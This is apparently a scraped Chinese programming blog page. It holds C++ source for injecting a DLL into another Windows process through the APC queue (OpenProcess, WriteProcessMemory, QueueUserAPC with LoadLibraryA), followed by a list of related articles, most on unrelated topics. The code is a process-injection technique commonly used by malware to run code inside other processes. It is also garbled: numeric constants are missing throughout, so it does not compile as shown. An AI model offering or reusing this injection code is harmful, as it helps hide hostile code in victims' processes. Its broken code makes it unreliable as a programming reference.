#include <iostream>
#include <Windows.h>
#include <TlHelp32.h> using namespace std; /*
APC注入条件:
目标线程处于可唤醒状态
如使用以下API时就处于可唤醒状态
SleepEx, SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx,MsgWaitForMultipleObjectsEx
参数dwPid默认为0,表示自动创建目标进程并立刻生效注入,否则,注入现有目标,等待目标唤醒时执行APC回调
*/
BOOL APCInject(char *dllUrl,DWORD dwPid=,char *exeUrl=NULL); int main(void)
{ cout << APCInject("c:\\desktop\\test.dll",) << endl;
return ;
} BOOL APCInject(char *dllUrl,DWORD dwPid,char *exeUrl)
{
HANDLE hSnap=NULL,hPro=NULL,hThr=NULL;
BOOL bOk = FALSE;
LPVOID hVir = NULL;
THREADENTRY32 te = {}; if (!dwPid)
{
STARTUPINFO wi = {};
PROCESS_INFORMATION pi = {}; wi.cb = sizeof(wi);
CreateProcessA("c:\\desktop\\123.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&wi,&pi);
hPro = pi.hProcess;
hThr = pi.hThread;
} else {
te.dwSize = sizeof(te);
hPro = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
if (!hPro)
return FALSE;
hSnap = CreateToolhelp32Snapshot(,dwPid);
bOk = Thread32First(hSnap,&te);
while (bOk)
{
if (te.th32OwnerProcessID == dwPid)
{
hThr = OpenThread(THREAD_ALL_ACCESS,FALSE,te.th32ThreadID);
break;
} bOk = Thread32Next(hSnap,&te);
}
CloseHandle(hSnap);
} if (!hThr)
return FALSE;
hVir = VirtualAllocEx(hPro,NULL,strlen(dllUrl)+,MEM_COMMIT,PAGE_READWRITE);
if (!hVir)
return FALSE;
if (!WriteProcessMemory(hPro,hVir,dllUrl,strlen(dllUrl)+,NULL))
return FALSE;
CloseHandle(hPro);
if (QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"),hThr,(DWORD)hVir))
{
if (!dwPid)
{
ResumeThread(hThr);
CloseHandle(hThr);
}
return TRUE;
}
CloseHandle(hThr);
return FALSE;
}

APCInject的更多相关文章

  1. 安全之路 —— 利用APC队列实现跨进程注入

    简介 在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御.所以 ...

  2. Windows Dll Injection、Process Injection、API Hook、DLL后门/恶意程序入侵技术

    catalogue 1. 引言2. 使用注册表注入DLL3. 使用Windows挂钩来注入DLL4. 使用远程线程来注入DLL5. 使用木马DLL来注入DLL6. 把DLL作为调试器来注入7. 使用c ...

  3. 注入 - Ring3 APC注入

    系统产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的, 1.根据进 ...

  4. Inject-APC (Ring3)

    1 // APCInject.cpp : 定义控制台应用程序的入口点. 2 // 3 4 #include "stdafx.h" 5 #include "APCInjec ...

随机推荐

  1. POJ1047 Round and Round We Go

    题目来源:http://poj.org/problem?id=1047 题目大意: 有一些整数具有这样的性质:它的位数为n,把它和1到n的任意一个整数相乘结果的数字会是原数字的一个“环”.说起来比较抽 ...

  2. Android Studio模拟器的root权限

    前言 一个安卓练习中用自带的sqlite3数据库查看数据的时候,需要通过adb shell进入/data/data/[包名]/databases/目录中,通过查看创建的数据库来查看相应的数据或者表.起 ...

  3. 利用Putty连接树莓派

    解决emergency mode问题 记得上一次玩我的树莓派是做一个小型的服务器,挂载一个8GB的USB做服务器,在Windows电脑上直接进行访问.结果今天就开启不了树莓派了,总是进入emergen ...

  4. MySQL不同数据库之间表的简单同步

    MySQL不同数据库之间表的简单同步,实用轻量级数据如下案列展示:例如我现在主库上面有users .tenants两张表需要同步到备库上面主库1.确认主库数据条数 select count(*) fr ...

  5. Active Domain中的用户属性

    /// <summary> /// AD中的属性,没有出现的后续接着补充 /// </summary> public class LdapUserEntryProperty { ...

  6. Win10家庭版打不开gpedit.msc

    本文来源 : https://www.ithome.com/html/win10/324926.htm win10家庭版是不自带这个功能的 首先我们打开记事本,并输入以下内容(注意空格): @echo ...

  7. Flask蓝图的增删改查

    怎样用flask蓝图来实现增删改查呢?请看下面的内容 这是我们的目录结构 从图中可以看出每一个功能都有一个各自的文件夹 首先我们要自己先来创建一个数据,在Flask_data.py中写入如下内容: S ...

  8. Android 仿电商app商品详情页按钮浮动效果

    1.效果图如下: 这效果用户体验还是很酷炫,今天我们就来讲解如何实现这个效果. 2.分析 为了方便理解,作图分析 如图所示,整个页面分为四个部分: 1.悬浮内容,floatView 2.顶部内容,he ...

  9. 高德地图 获取sha1

    开发版本sha1 控制台输入 cd .android  回车 再输入   keytool -list -v -keystore debug.keystore 回车 输入密钥库口令:  andorid ...

  10. C#高性能Socket服务器IOCP实现

    引言我一直在探寻一个高性能的Socket客户端代码.以前,我使用Socket类写了一些基于传统异步编程模型的代码(BeginSend.BeginReceive,等等)也看过很多博客的知识,在linux ...